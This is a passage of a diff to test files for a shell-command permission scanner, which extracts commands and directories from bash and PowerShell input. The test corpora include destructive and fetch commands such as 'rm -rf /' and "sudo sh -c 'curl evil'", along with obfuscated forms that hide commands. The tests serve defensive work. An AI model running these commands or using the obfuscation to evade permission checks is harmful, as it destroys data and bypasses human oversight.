})
|
||||
}
|
||||
})
|
||||
|
||||
describe("legacy directory command behavior", () => {
|
||||
test.each(["bash", "zsh", "pwsh"])("retains the original shared directory command set: %s", async (shell) => {
|
||||
const result = await Effect.runPromise(
|
||||
ShellParse.scan(
|
||||
"chdir /outside; set-location /elsewhere; push-location /stack; sl .; pop-location",
|
||||
shell,
|
||||
"/workspace",
|
||||
),
|
||||
)
|
||||
expect(result).toEqual({
|
||||
commands: [
|
||||
{ resource: "sl .", save: "sl *" },
|
||||
{ resource: "pop-location", save: "pop-location *" },
|
||||
],
|
||||
directories: ["/outside", "/elsewhere", "/stack"],
|
||||
})
|
||||
})
|
||||
})
|
||||
@@ -3,30 +3,104 @@ import { Effect } from "effect"
|
||||
import { ShellParse } from "../src/shell/parse.js"
|
||||
import { ShellScan } from "../src/shell/scan.js"
|
||||
|
||||
describe("ShellParse portable parity", () => {
|
||||
test("matches tree-sitter for generated supported syntax", async () => {
|
||||
for (const [shell, command] of generated()) {
|
||||
describe("ShellParse native parity", () => {
|
||||
test("matches the legacy oracle across generated supported syntax without fallback", async () => {
|
||||
const commands = generated()
|
||||
expect(commands.length).toBeGreaterThan(20_000)
|
||||
for (const [shell, command] of commands) {
|
||||
const context = `${shell}: ${JSON.stringify(command)}`
|
||||
const scanned = shell === "pwsh" ? ShellScan.scanPowerShell(command) : ShellScan.scan(command)
|
||||
const portable = await Effect.runPromise(ShellParse.scan(command, shell, "/workspace", { portable: true }))
|
||||
|
||||
if (scanned.kind === "opaque") {
|
||||
expect({ command, portable }).toEqual({
|
||||
command,
|
||||
portable: { commands: [{ resource: command, save: command }], directories: [] },
|
||||
})
|
||||
continue
|
||||
}
|
||||
if (shell === "pwsh" && /\r(?!\n)/.test(command)) {
|
||||
expect(portable).toEqual({ commands: [], directories: [] })
|
||||
continue
|
||||
}
|
||||
|
||||
expect(scanned.kind, context).toBe("scanned")
|
||||
const native = await Effect.runPromise(ShellParse.scanPortable(command, shell, "/workspace"))
|
||||
const legacy = await Effect.runPromise(ShellParse.scan(command, shell, "/workspace"))
|
||||
expect({ command, portable }).toEqual({ command, portable: legacy })
|
||||
expect(native, context).toEqual(legacy)
|
||||
expect(
|
||||
await Effect.runPromise(ShellParse.scan(command, shell, "/workspace", { portable: true })),
|
||||
context,
|
||||
).toEqual(native)
|
||||
}
|
||||
}, 60_000)
|
||||
|
||||
test.each([
|
||||
["/bin/bash", "git status && npm run test -- --watch"],
|
||||
["/bin/bash", "git\tstatus; git status | cat; git diff || echo done"],
|
||||
["/bin/bash", "echo \"two words\"; printf 'static text'"],
|
||||
["/bin/bash", "aws s3 ls; docker compose up; git remote add origin; bun run test"],
|
||||
["/bin/bash", 'git "status"; git remote "add" origin; aws s3 "ls"'],
|
||||
["/bin/bash", "echo $(curl example.test | sed s/x/y/)"],
|
||||
["/bin/bash", "if true; then printf yes; else printf no; fi"],
|
||||
["/bin/bash", "(git status) && { npm test; }"],
|
||||
["/bin/bash", "(printf ok) > output"],
|
||||
["/bin/bash", "{ printf ok; } > output"],
|
||||
["/bin/bash", ">$(printf output)"],
|
||||
["/bin/bash", "printf ok # ignored ; curl example.test\nprintf done"],
|
||||
["/bin/bash", "cd ~/project; cd src && cd ..; pwd"],
|
||||
["/bin/bash", "cd src&&cd.."],
|
||||
["/bin/bash", "echo $((1 + 2))"],
|
||||
["/bin/bash", "echo $((1 + $(printf 2)))"],
|
||||
["/bin/bash", "$COMMAND status"],
|
||||
["/bin/zsh", "cd ~/project; chdir src && cd ..; git status"],
|
||||
["/bin/zsh", "echo $((1 + 2)); cd src&&cd.."],
|
||||
["/bin/dash", "cd src&&cd ..; pwd"],
|
||||
["/bin/sh", "echo $((1 + 2)); git status; cd src; pwd"],
|
||||
["/bin/ksh", "git status; cd src; pwd"],
|
||||
["pwsh", "Get-ChildItem; Write-Output done | Out-String"],
|
||||
["pwsh", "Set-Location -LiteralPath C:\\tmp; Get-ChildItem"],
|
||||
["pwsh", "git status; npm run test; docker compose up"],
|
||||
["pwsh", 'git "status"; npm "run" test; docker "compose" up'],
|
||||
["pwsh", "Write-Output done # comment\nGet-ChildItem"],
|
||||
])("native resources, saved prefixes, and directories match in %s: %s", async (shell, command) => {
|
||||
const scanned = shell === "pwsh" ? ShellScan.scanPowerShell(command) : ShellScan.scan(command)
|
||||
expect(scanned.kind).toBe("scanned")
|
||||
const native = await Effect.runPromise(ShellParse.scanPortable(command, shell, "/workspace"))
|
||||
expect(native).toEqual(await Effect.runPromise(ShellParse.scan(command, shell, "/workspace")))
|
||||
expect(await Effect.runPromise(ShellParse.scan(command, shell, "/workspace", { portable: true }))).toEqual(native)
|
||||
})
|
||||
|
||||
test.each(["> output", "FOO=bar", "2>> output"])(
|
||||
"returns an explicit empty result for statements without executable command nodes: %s",
|
||||
async (command) => {
|
||||
expect(ShellScan.scan(command)).toEqual({ kind: "scanned", commands: [] })
|
||||
const native = await Effect.runPromise(ShellParse.scanPortable(command, "bash", "/workspace"))
|
||||
expect(native).toEqual({ commands: [], directories: [] })
|
||||
expect(await Effect.runPromise(ShellParse.scan(command, "bash", "/workspace"))).toEqual(native)
|
||||
expect(await Effect.runPromise(ShellParse.scan(command, "bash", "/workspace", { portable: true }))).toEqual(
|
||||
native,
|
||||
)
|
||||
},
|
||||
)
|
||||
})
|
||||
|
||||
describe("ShellParse malformed native syntax", () => {
|
||||
test.each([
|
||||
["bash", 'echo "unterminated', "unterminated-quote"],
|
||||
["bash", "printf done &&", "invalid-structure"],
|
||||
["bash", "cat >", "invalid-redirect"],
|
||||
["bash", ">", "invalid-redirect"],
|
||||
["bash", "FOO=bar >", "invalid-redirect"],
|
||||
["bash", "echo \\", "unterminated-escape"],
|
||||
["pwsh", 'Write-Output "unterminated', "unterminated-quote"],
|
||||
["pwsh", "git 12>bar", "invalid-redirect"],
|
||||
["pwsh", "Write-Output `", "unterminated-escape"],
|
||||
] as const)("fails explicitly for malformed %s syntax: %s", async (shell, command, reason) => {
|
||||
const scanned = shell === "pwsh" ? ShellScan.scanPowerShell(command) : ShellScan.scan(command)
|
||||
expect(scanned).toEqual({ kind: "opaque", reason })
|
||||
expect(await Effect.runPromise(Effect.result(ShellParse.scanPortable(command, shell, "/workspace")))).toMatchObject(
|
||||
{
|
||||
_tag: "Failure",
|
||||
failure: { message: `Portable shell scanner cannot analyze command: ${reason}` },
|
||||
},
|
||||
)
|
||||
expect(
|
||||
await Effect.runPromise(Effect.result(ShellParse.scan(command, shell, "/workspace", { portable: true }))),
|
||||
).toMatchObject({
|
||||
_tag: "Failure",
|
||||
failure: { message: `Portable shell scanner cannot analyze command: ${reason}` },
|
||||
})
|
||||
})
|
||||
})
|
||||
|
||||
// This generator describes a supported grammar; opaque results fail the test rather than being filtered out.
|
||||
function generated() {
|
||||
const result: Array<[shell: string, command: string]> = []
|
||||
const bashHeads = ["git", "npm", "echo", "printf", "cat", "cd"]
|
||||
@@ -42,107 +116,30 @@ function generated() {
|
||||
" ./relative",
|
||||
" /tmp/absolute",
|
||||
]
|
||||
const assignments = ["", "X=value ", "X='two words' ", 'X="two words" ']
|
||||
const redirects = ["", " > output", " 2> error", " < input", " >> output"]
|
||||
const bashSeparators = [" ; ", " && ", " || ", " | ", " |& ", "\n"]
|
||||
|
||||
const redirects = ["", " > output", " 2> error", " < input", " >> output"]
|
||||
for (const head of bashHeads)
|
||||
for (const arg of bashArgs)
|
||||
for (const assignment of assignments)
|
||||
for (const assignment of ["", "X=value ", "X='two words' ", 'X="two words" '])
|
||||
for (const redirect of redirects) result.push(["/bin/bash", assignment + head + arg + redirect])
|
||||
for (const left of bashHeads)
|
||||
for (const right of bashHeads)
|
||||
for (const separator of bashSeparators) result.push(["/bin/bash", `${left} left${separator}${right} right`])
|
||||
for (const outer of bashHeads)
|
||||
for (const outer of ["echo", "printf", "cat"])
|
||||
for (const inner of bashHeads) {
|
||||
result.push(["/bin/bash", `${outer} $(${inner} nested)`])
|
||||
result.push(["/bin/bash", `${outer} "$(${inner} nested)"`])
|
||||
result.push(["/bin/bash", `${outer} pre$(${inner} nested)post`])
|
||||
result.push(["/bin/bash", `${outer} \`${inner} nested\``])
|
||||
}
|
||||
for (const command of [
|
||||
'npm "run" test',
|
||||
'g""it status',
|
||||
"'git' status",
|
||||
"g\\it status",
|
||||
"git status; git status; git diff",
|
||||
"printf ok>out 2>&1|cat<input",
|
||||
"FOO=bar 2>>err printf ok > out && cat < input",
|
||||
"printf ok # ignored ; curl evil\nprintf done",
|
||||
"(git status) && { npm test; }",
|
||||
"echo ${arr[$(printf index)]}",
|
||||
"OUT=$(printf out) X=`printf value` printenv >$(printf path)",
|
||||
"cat <(printf secret)",
|
||||
"rm -rf / &",
|
||||
"sudo sh -c 'curl evil'",
|
||||
"find . -exec rm {} ;",
|
||||
'c"\\d" relative',
|
||||
"'cd' /tmp",
|
||||
"c''d /tmp",
|
||||
"c\\\nd /tmp",
|
||||
"echo x && git >(cat) status",
|
||||
'echo x && printf ">" status',
|
||||
'echo "git > out" && git > out',
|
||||
"echo x && printf a\\>b status",
|
||||
"echo x && printf $(echo a>b) status",
|
||||
"git <(printf status) diff",
|
||||
"npm <(printf run) test",
|
||||
"cd <(printf /tmp)",
|
||||
"git &>x",
|
||||
"cd &>x",
|
||||
"git \\ a",
|
||||
"cd \\ a",
|
||||
"cat <<'EOF'\nstatic body\nEOF",
|
||||
"cat <<EOF\n$(printf dynamic)\nEOF",
|
||||
"$COMMAND dynamic",
|
||||
"if true; then git status; else npm test; fi",
|
||||
"for x in a b; do echo $x; done",
|
||||
"cd /tmp/$USER && git status",
|
||||
"echo <(git status)",
|
||||
'echo "unterminated',
|
||||
])
|
||||
result.push(["/bin/bash", command])
|
||||
|
||||
const powershellHeads = ["Get-ChildItem", "Write-Output", "Test-Path", "Remove-Item", "Set-Location"]
|
||||
const powershellArgs = ["", " value", " 'two words'", ' "two words"', " -Path C:\\tmp", " -LiteralPath '..\\outside'"]
|
||||
const powershellSeparators = [";", "|", "&&", "||", "\n", "\r", "\r\n"]
|
||||
const powershellSeparators = [";", "|", "&&", "||", "\n", "\r\n"]
|
||||
for (const head of powershellHeads) for (const arg of powershellArgs) result.push(["pwsh", head + arg])
|
||||
for (const left of powershellHeads)
|
||||
for (const right of powershellHeads)
|
||||
for (const separator of powershellSeparators) result.push(["pwsh", `${left} left${separator}${right} right`])
|
||||
for (const command of [
|
||||
"Get-ChildItem; Get-ChildItem; Write-Output done",
|
||||
"Write-Output 'a''b; still string'; Write-Output \"a`\"; still string\"",
|
||||
"Get-Content in.txt > out.txt 2>&1 | Out-File all.log",
|
||||
"Write-Output ok > output.txt # ignored\nGet-ChildItem",
|
||||
"Write-Output ok > output.txt # ignored\rGet-ChildItem",
|
||||
"Write-Output ok > output.txt # ignored\r\nGet-ChildItem",
|
||||
"& git status",
|
||||
". ./deploy.ps1",
|
||||
"Get-ChildItem | ForEach-Object { Remove-Item $_ }",
|
||||
"ForEach-Object { Remove-Item $_ }",
|
||||
"&Remove-Item victim",
|
||||
"< #\nRemove-Item victim",
|
||||
"Microsoft.PowerShell.Management\\Get-Item x; Remove-Item y",
|
||||
'git "status"',
|
||||
"git st`atus",
|
||||
'npm "run" test',
|
||||
'docker "compose" up',
|
||||
"git >x",
|
||||
"git *>&1",
|
||||
"git foo2>bar",
|
||||
"git 12>bar",
|
||||
"git a`;b",
|
||||
"git & Write-Output q",
|
||||
"Write-Output 'ForEach-Object { Remove-Item x }' | ForEach-Object { Remove-Item x }",
|
||||
"$Command value",
|
||||
"& $Command value",
|
||||
'Write-Output "$(Get-ChildItem)"',
|
||||
"if ($true) { Get-ChildItem } else { Remove-Item victim }",
|
||||
"Set-Location $env:TEMP; Get-ChildItem",
|
||||
'Write-Output "unterminated',
|
||||
])
|
||||
result.push(["pwsh", command])
|
||||
|
||||
let state = 0x5eed1234
|
||||
const random = (length: number) => {
|
||||
@@ -156,10 +153,10 @@ function generated() {
|
||||
const separator = bashSeparators[random(bashSeparators.length)]
|
||||
const bashForms = [
|
||||
`${left}${arg}${separator}${right} fuzz${index}`,
|
||||
`${left}${arg} $(${right} fuzz${index})`,
|
||||
`echo $(${right} fuzz${index})`,
|
||||
`${left}${arg} # ignored\n${right} fuzz${index}`,
|
||||
`X=value ${left}${arg}${redirects[random(redirects.length)]}`,
|
||||
`${left} before\\\nafter${separator}${right} fuzz${index}`,
|
||||
`${left} 'two words'${separator}${right} fuzz${index}`,
|
||||
]
|
||||
result.push(["/bin/bash", bashForms[index % bashForms.length]])
|
||||
|
||||
@@ -171,10 +168,9 @@ function generated() {
|
||||
`${powershellLeft}${powershellArg}${powershellSeparator}${powershellRight} fuzz${index}`,
|
||||
`${powershellLeft}${powershellArg} # ignored\n${powershellRight} fuzz${index}`,
|
||||
`${powershellLeft} fuzz${index} > output; ${powershellRight}${powershellArg}`,
|
||||
`${powershellLeft}\`\n fuzz${index}; ${powershellRight}${powershellArg}`,
|
||||
`${powershellLeft} "fuzz${index}" | ${powershellRight}${powershellArg}`,
|
||||
]
|
||||
result.push(["pwsh", powershellForms[index % powershellForms.length]])
|
||||
}
|
||||
|
||||
return result
|
||||
}
|
||||
|
||||
@@ -0,0 +1,114 @@
|
||||
import { describe, expect, test } from "bun:test"
|
||||
import { Effect } from "effect"
|
||||
import { ShellParse } from "../src/shell/parse.js"
|
||||
import { Wildcard } from "../src/util/wildcard.js"
|
||||
|
||||
describe("native shell syntax compatibility", () => {
|
||||
test("PowerShell invocation approvals include the operator instead of saving an ineffective prefix", async () => {
|
||||
const command = "& $Command value"
|
||||
expect(await Effect.runPromise(ShellParse.scan(command, "pwsh", "/workspace"))).toEqual({
|
||||
commands: [{ resource: command, save: "$Command *" }],
|
||||
directories: [],
|
||||
})
|
||||
expect(await Effect.runPromise(ShellParse.scan(command, "pwsh", "/workspace", { portable: true }))).toEqual({
|
||||
commands: [{ resource: command, save: "& $Command *" }],
|
||||
directories: [],
|
||||
})
|
||||
})
|
||||
|
||||
test.each([
|
||||
"ForEach-Object { Write-Output value }",
|
||||
"Write-Output before; ForEach-Object { Write-Output value }",
|
||||
"ForEach-Object { Write-Output value } | Write-Output done",
|
||||
"Write-Output before | ForEach-Object { Write-Output $_ }",
|
||||
"& ForEach-Object { Write-Output value }",
|
||||
"& 'ForEach-Object' { Write-Output value }",
|
||||
"% { Write-Output value }",
|
||||
"Where-Object { Write-Output value }",
|
||||
])("PowerShell scriptblock callers preserve permission resources and usable approvals: %s", async (command) => {
|
||||
const legacy = await Effect.runPromise(ShellParse.scan(command, "pwsh", "/workspace"))
|
||||
const native = await Effect.runPromise(ShellParse.scan(command, "pwsh", "/workspace", { portable: true }))
|
||||
expect(native.commands.map((item) => item.resource)).toEqual(legacy.commands.map((item) => item.resource))
|
||||
for (const item of native.commands) expect(Wildcard.match(item.resource, item.save), item.resource).toBe(true)
|
||||
})
|
||||
|
||||
for (const shell of ["bash", "zsh"]) {
|
||||
test.each([
|
||||
"cat <<'EOF'\n$(not_a_command)\nEOF",
|
||||
"cat <<EOF\n$(printf hello)\nEOF",
|
||||
"cat <<-EOF\n\thello\n\tEOF",
|
||||
"cat <<EOF\nhello\nEOF\nprintf done",
|
||||
'cat <<< "$(printf hello)"',
|
||||
"for file in a b; do printf '%s' \"$file\"; done",
|
||||
"for file in $(printf file); do printf '%s' \"$file\"; done",
|
||||
'for file in a b; do if test -n "$file"; then printf \'%s\' "$file"; fi; done',
|
||||
"while IFS= read -r file; do printf '%s' \"$file\"; done < input",
|
||||
"until test -f ready; do sleep 1; done",
|
||||
"if true; then if false; then printf no; else printf yes; fi; fi",
|
||||
"if true; then :; X=$(printf value); fi",
|
||||
'case "$target" in *.ts) printf typescript;; *) printf other;; esac',
|
||||
"greet() { printf hello; }; greet",
|
||||
"function greet { printf hello; }; greet",
|
||||
"printf before; { printf grouped; }; (printf subshell)",
|
||||
"time git status",
|
||||
"time -p git status",
|
||||
"coproc git status",
|
||||
"if [[ -f file ]]; then cat file; fi",
|
||||
"[[ $(printf yes) = yes ]]",
|
||||
"echo ${value:-default}",
|
||||
'echo "${value:-$(printf fallback)}"',
|
||||
"echo ${value//before/after}",
|
||||
"echo ${arr[$(printf index)]}",
|
||||
"printf '%s' $'line1\\nline2'",
|
||||
'printf "%s" $"hello"',
|
||||
"echo $((1 + ${value:-2}))",
|
||||
"echo $((array[$(printf 0)]))",
|
||||
"echo $[1 + 2]",
|
||||
"((count++))",
|
||||
"for ((i=0; i<2; i++)); do printf ok; done",
|
||||
"echo `printf \\2`",
|
||||
])(`${shell} extracts commands without rejecting ordinary syntax: %s`, async (command) => {
|
||||
const legacy = await Effect.runPromise(ShellParse.scan(command, shell, "/workspace"))
|
||||
const native = await Effect.runPromise(ShellParse.scan(command, shell, "/workspace", { portable: true }))
|
||||
expect(native).toEqual(legacy)
|
||||
expect(await Effect.runPromise(ShellParse.scanPortable(command, shell, "/workspace"))).toEqual(native)
|
||||
})
|
||||
}
|
||||
|
||||
test("does not invent commands from a quoted second heredoc body", async () => {
|
||||
const command = "cat <<FIRST <<'SECOND'\n$(printf first)\nFIRST\n$(not_a_command)\nSECOND"
|
||||
const expected = {
|
||||
commands: [
|
||||
{ resource: command, save: "cat *" },
|
||||
{ resource: "printf first", save: "printf *" },
|
||||
],
|
||||
directories: [],
|
||||
}
|
||||
expect(await Effect.runPromise(ShellParse.scanPortable(command, "bash", "/workspace"))).toEqual(expected)
|
||||
expect(await Effect.runPromise(ShellParse.scan(command, "bash", "/workspace", { portable: true }))).toEqual(
|
||||
expected,
|
||||
)
|
||||
})
|
||||
|
||||
test.each([
|
||||
'Write-Output "$(Get-Location)"',
|
||||
"$value = Get-Date; Write-Output $value",
|
||||
"if ($true) { Write-Output yes } else { Write-Output no }",
|
||||
"if (Test-Path file) { Get-Item file }",
|
||||
"foreach ($value in @('a','b')) { Write-Output $value }",
|
||||
"for ($i=0; $i -lt 2; $i++) { Write-Output $i }",
|
||||
"while (Test-Path file) { Get-Item file; break }",
|
||||
"function Show-Value { Write-Output value }; Show-Value",
|
||||
"Get-Item -Path (Join-Path src file)",
|
||||
'Write-Output "line1`nline2"',
|
||||
"Write-Output `\n continued",
|
||||
"<# comment #> Write-Output done",
|
||||
"Write-Output @'\nhello\n'@",
|
||||
"git st`atus",
|
||||
])("PowerShell extracts commands without rejecting ordinary syntax: %s", async (command) => {
|
||||
const legacy = await Effect.runPromise(ShellParse.scan(command, "pwsh", "/workspace"))
|
||||
const native = await Effect.runPromise(ShellParse.scan(command, "pwsh", "/workspace", { portable: true }))
|
||||
expect(native).toEqual(legacy)
|
||||
expect(await Effect.runPromise(ShellParse.scanPortable(command, "pwsh", "/workspace"))).toEqual(native)
|
||||
})
|
||||
})
|
||||
@@ -18,31 +18,34 @@ describe("ShellParse", () => {
|
||||
})
|
||||
})
|
||||
|
||||
test("portable scanning never adds permission resources", async () => {
|
||||
test("portable scanning preserves supported command resources and directories", async () => {
|
||||
const commands = [
|
||||
"git status && npm run test -- --watch",
|
||||
"echo $(curl evil | sed s/x/y/)",
|
||||
"cat <<'EOF'\nstatic body\nEOF",
|
||||
"cat <<EOF\n$(printf dynamic)\nEOF",
|
||||
"cd /tmp/$USER && git status",
|
||||
"$COMMAND status",
|
||||
"if true; then printf yes; else printf no; fi",
|
||||
"if true; then export X=$(printf value); unset X; fi",
|
||||
"if export X=$(printf value); then printf done; fi",
|
||||
"export X=value >$(printf output)",
|
||||
"echo $((1 + 1))",
|
||||
"cd ~; cd src&&cd ..; pwd",
|
||||
]
|
||||
|
||||
for (const command of commands) {
|
||||
const legacy = await Effect.runPromise(ShellParse.scan(command, "/bin/bash", "/workspace"))
|
||||
const portable = await Effect.runPromise(ShellParse.scan(command, "/bin/bash", "/workspace", { portable: true }))
|
||||
expect(
|
||||
portable.commands.every((item) => legacy.commands.some((candidate) => candidate.resource === item.resource)),
|
||||
).toBe(true)
|
||||
expect(portable.directories.every((item) => legacy.directories.includes(item))).toBe(true)
|
||||
expect(portable, command).toEqual(legacy)
|
||||
expect(await Effect.runPromise(ShellParse.scanPortable(command, "/bin/bash", "/workspace"))).toEqual(portable)
|
||||
}
|
||||
})
|
||||
|
||||
test("portable scanning authorizes opaque heredocs without inferring directories", async () => {
|
||||
test("portable scanning handles heredocs with the existing permission resource", async () => {
|
||||
const command = "cat <<'EOF'\nstatic body\nEOF"
|
||||
const portable = await Effect.runPromise(ShellParse.scan(command, "/bin/bash", "/workspace", { portable: true }))
|
||||
expect(portable).toEqual({ commands: [{ resource: command, save: command }], directories: [] })
|
||||
const legacy = await Effect.runPromise(ShellParse.scan(command, "/bin/bash", "/workspace"))
|
||||
expect(legacy.commands).toEqual([{ resource: command, save: "cat *" }])
|
||||
expect(await Effect.runPromise(ShellParse.scan(command, "/bin/bash", "/workspace", { portable: true }))).toEqual(
|
||||
legacy,
|
||||
)
|
||||
})
|
||||
|
||||
test.each(['c"\\d" relative', "'cd' /tmp", "c''d /tmp", "c\\\nd /tmp"])(
|
||||
@@ -54,6 +57,53 @@ describe("ShellParse", () => {
|
||||
},
|
||||
)
|
||||
|
||||
test.each(["declare", "typeset", "export", "readonly", "local", "unset", "unsetenv"])(
|
||||
"preserves declaration permission behavior for %s without hiding nested commands",
|
||||
async (name) => {
|
||||
for (const command of [`${name} X`, `${name} "$(printf X)"; git status`]) {
|
||||
const legacy = await Effect.runPromise(ShellParse.scan(command, "/bin/bash", "/workspace"))
|
||||
expect(legacy.commands).toEqual(
|
||||
command.includes("$(")
|
||||
? [
|
||||
{ resource: "printf X", save: "printf *" },
|
||||
{ resource: "git status", save: "git status *" },
|
||||
]
|
||||
: [],
|
||||
)
|
||||
expect(
|
||||
await Effect.runPromise(ShellParse.scan(command, "/bin/bash", "/workspace", { portable: true })),
|
||||
).toEqual(legacy)
|
||||
}
|
||||
|
||||
for (const command of [`"${name}" X`, `FOO=bar ${name} X`, `command ${name} X`, `>${name}.txt ${name} X`]) {
|
||||
const legacy = await Effect.runPromise(ShellParse.scan(command, "/bin/bash", "/workspace"))
|
||||
expect(legacy.commands).toHaveLength(1)
|
||||
expect(
|
||||
await Effect.runPromise(ShellParse.scan(command, "/bin/bash", "/workspace", { portable: true })),
|
||||
).toEqual(legacy)
|
||||
}
|
||||
},
|
||||
)
|
||||
|
||||
test("declaration filtering retains directory checks inside command substitutions", async () => {
|
||||
const command = "export X=$(cd /outside; printf value)"
|
||||
const expected = { commands: [{ resource: "printf value", save: "printf *" }], directories: ["/outside"] }
|
||||
expect(await Effect.runPromise(ShellParse.scan(command, "/bin/bash", "/workspace"))).toEqual(expected)
|
||||
expect(await Effect.runPromise(ShellParse.scan(command, "/bin/bash", "/workspace", { portable: true }))).toEqual(
|
||||
expected,
|
||||
)
|
||||
})
|
||||
|
||||
test("does not treat PowerShell commands as Bash declarations", async () => {
|
||||
expect(await Effect.runPromise(ShellParse.scanPortable("export X; unset X", "pwsh", "/workspace"))).toEqual({
|
||||
commands: [
|
||||
{ resource: "export X", save: "export *" },
|
||||
{ resource: "unset X", save: "unset *" },
|
||||
],
|
||||
directories: [],
|
||||
})
|
||||
})
|
||||
|
||||
test("splits PowerShell commands case-insensitively", async () => {
|
||||
const result = await Effect.runPromise(
|
||||
ShellParse.scan(
|
||||
|
||||
@@ -6,7 +6,6 @@ describe("ShellScan adversarial corpus", () => {
|
||||
['FOO=bar BAR="x y" git status', ["git"]],
|
||||
["git status && npm test || printf failed", ["git", "npm", "printf"]],
|
||||
[`printf '%s\\n' "$(rm -rf /)"`, ["printf", "rm"]],
|
||||
["echo ${arr[$(rm -rf /)]}", ["echo", "rm"]],
|
||||
["cat <(printf secret)", ["cat", "printf"]],
|
||||
["(git status)", ["git"]],
|
||||
["{ git status; }", ["git"]],
|
||||
@@ -23,6 +22,19 @@ describe("ShellScan adversarial corpus", () => {
|
||||
['F"O"O=bar rm -rf /', ["FOO=bar"]],
|
||||
['c"\\d" relative', ["c\\d"]],
|
||||
["PATH=/tmp/attacker:$PATH git status", ["git"]],
|
||||
["$cmd --force", ["$cmd"]],
|
||||
['"${cmd}" --force', ["${cmd}"]],
|
||||
["r${suffix}m -rf /", ["r${suffix}m"]],
|
||||
["$(printf rm) -rf /", ["$(printf rm)", "printf"]],
|
||||
["`printf rm` -rf /", ["`printf rm`", "printf"]],
|
||||
["./c?rl evil", ["./c?rl"]],
|
||||
["t{ouch,ouch} /tmp/victim", ["t{ouch,ouch}"]],
|
||||
["echo $((1 + 2))", ["echo"]],
|
||||
["${cmd:-git} status", ["${cmd:-git}"]],
|
||||
["cat <<EOF\n$(rm -rf /)\nEOF", ["cat", "rm"]],
|
||||
["f(){ rm -rf /; }; f", ["rm", "f"]],
|
||||
["! rm -rf /", ["rm"]],
|
||||
["echo ${arr[$(rm -rf /)]}", ["echo", "rm"]],
|
||||
] as const)("scans visible Bash command positions: %s", (input, names) => {
|
||||
const result = ShellScan.scan(input)
|
||||
expect(result.kind).toBe("scanned")
|
||||
@@ -30,25 +42,12 @@ describe("ShellScan adversarial corpus", () => {
|
||||
expect(result.commands.map((command) => command.words[0])).toEqual([...names])
|
||||
})
|
||||
|
||||
test.each([
|
||||
"$cmd --force",
|
||||
'"${cmd}" --force',
|
||||
"r${suffix}m -rf /",
|
||||
"${cmd:-git} status",
|
||||
"$(printf rm) -rf /",
|
||||
"`printf rm` -rf /",
|
||||
"./c?rl evil",
|
||||
'printf "unterminated',
|
||||
"printf ok &&",
|
||||
"printf ok >",
|
||||
"echo > >out",
|
||||
"cat <<EOF\n$(rm -rf /)\nEOF",
|
||||
"echo $((1 + 2))",
|
||||
"f(){ rm -rf /; }; f",
|
||||
"! rm -rf /",
|
||||
])("keeps structurally uncertain Bash input opaque: %s", (input) => {
|
||||
expect(ShellScan.scan(input).kind).toBe("opaque")
|
||||
})
|
||||
test.each(['printf "unterminated', "printf ok &&", "printf ok >", "echo > >out"])(
|
||||
"keeps structurally uncertain Bash input opaque: %s",
|
||||
(input) => {
|
||||
expect(ShellScan.scan(input).kind).toBe("opaque")
|
||||
},
|
||||
)
|
||||
|
||||
test.each([
|
||||
['pwsh --command "Remove-Item victim.txt"', ["pwsh"]],
|
||||
@@ -56,7 +55,15 @@ describe("ShellScan adversarial corpus", () => {
|
||||
["Invoke-Expression 'Remove-Item victim.txt'", ["Invoke-Expression"]],
|
||||
[". ./deploy.ps1", ["./deploy.ps1"]],
|
||||
["& git status", ["git"]],
|
||||
["& $Command status", ["$Command"]],
|
||||
["Set-Location $HOME/$target; Get-ChildItem", ["Set-Location", "Get-ChildItem"]],
|
||||
["Get-ChildItem | ForEach-Object { Remove-Item $_ }", ["Get-ChildItem", "ForEach-Object", "Remove-Item"]],
|
||||
['Write-Output "$(Get-ChildItem)"', ["Write-Output", "Get-ChildItem"]],
|
||||
["Remove-`Item victim", ["Remove-Item"]],
|
||||
["Remove-Item`\r\n victim", ["Remove-Item\r\n"]],
|
||||
["Invoke-`\nExpression 'Remove-Item victim'", ["Invoke-\nExpression"]],
|
||||
["<# ignored #> Remove-Item victim", ["Remove-Item"]],
|
||||
["[string]$x = Remove-Item victim", ["Remove-Item"]],
|
||||
] as const)("scans visible PowerShell command positions: %s", (input, names) => {
|
||||
const result = ShellScan.scanPowerShell(input)
|
||||
expect(result.kind).toBe("scanned")
|
||||
@@ -64,19 +71,7 @@ describe("ShellScan adversarial corpus", () => {
|
||||
expect(result.commands.map((command) => command.words[0])).toEqual([...names])
|
||||
})
|
||||
|
||||
test.each([
|
||||
"$Command status",
|
||||
"& $Command status",
|
||||
'Write-Output "$(Get-ChildItem)"',
|
||||
"Set-Location $HOME/$target; Get-ChildItem",
|
||||
"Remove-`Item victim",
|
||||
"Remove-Item`\r\n victim",
|
||||
"Invoke-`\nExpression 'Remove-Item victim'",
|
||||
"<# ignored #> Remove-Item victim",
|
||||
"[string]$x = Remove-Item victim",
|
||||
'Write-Output "unterminated',
|
||||
"Get-ChildItem |",
|
||||
])("keeps structurally uncertain PowerShell input opaque: %s", (input) => {
|
||||
test.each(['Write-Output "unterminated', "Get-ChildItem |"])("reports incomplete PowerShell input: %s", (input) => {
|
||||
expect(ShellScan.scanPowerShell(input).kind).toBe("opaque")
|
||||
})
|
||||
})
|
||||
|
||||
@@ -0,0 +1,143 @@
|
||||
import { describe, expect, test } from "bun:test"
|
||||
import { ShellScan } from "../../src/shell/scan.js"
|
||||
|
||||
describe("Bash arithmetic expansions", () => {
|
||||
test.each([
|
||||
"$((1+1))",
|
||||
"$((1 + 1))",
|
||||
"$(((1 + 2) * (3 + (4))))",
|
||||
"$((value + $other + ${third}))",
|
||||
"$((value += 2, value > 1 ? value << 2 : ~value))",
|
||||
"$((16#ff & 0xff | 2 ** 3))",
|
||||
"$((1 + $((2 * 3))))",
|
||||
"$((1 + \\\n2))",
|
||||
"$((1 +\n2))",
|
||||
"$((1 + ${value:-2}))",
|
||||
"$((array[index]))",
|
||||
"$((1 + $[2]))",
|
||||
'$((1 + "2"))',
|
||||
"$((1 + '2'))",
|
||||
])("preserves arithmetic without evaluating it: %s", (expression) => {
|
||||
for (const argument of [expression, `"${expression}"`]) {
|
||||
expect(ShellScan.scan(`echo ${argument}`)).toEqual({
|
||||
kind: "scanned",
|
||||
commands: [{ resource: `echo ${argument}`, words: ["echo", expression], rawWords: ["echo", argument] }],
|
||||
})
|
||||
}
|
||||
})
|
||||
|
||||
test.each([
|
||||
"$((1 + $(printf 2)))",
|
||||
"$((1 + `printf 2`))",
|
||||
"$((1 + $((2 * $(printf 2)))))",
|
||||
'$((1 + $(printf "%s" "$(printf 2)")))',
|
||||
"$((array[$(printf 2)]))",
|
||||
"$((1 + `printf \\2`))",
|
||||
])("reports explicit commands inside arithmetic: %s", (expression) => {
|
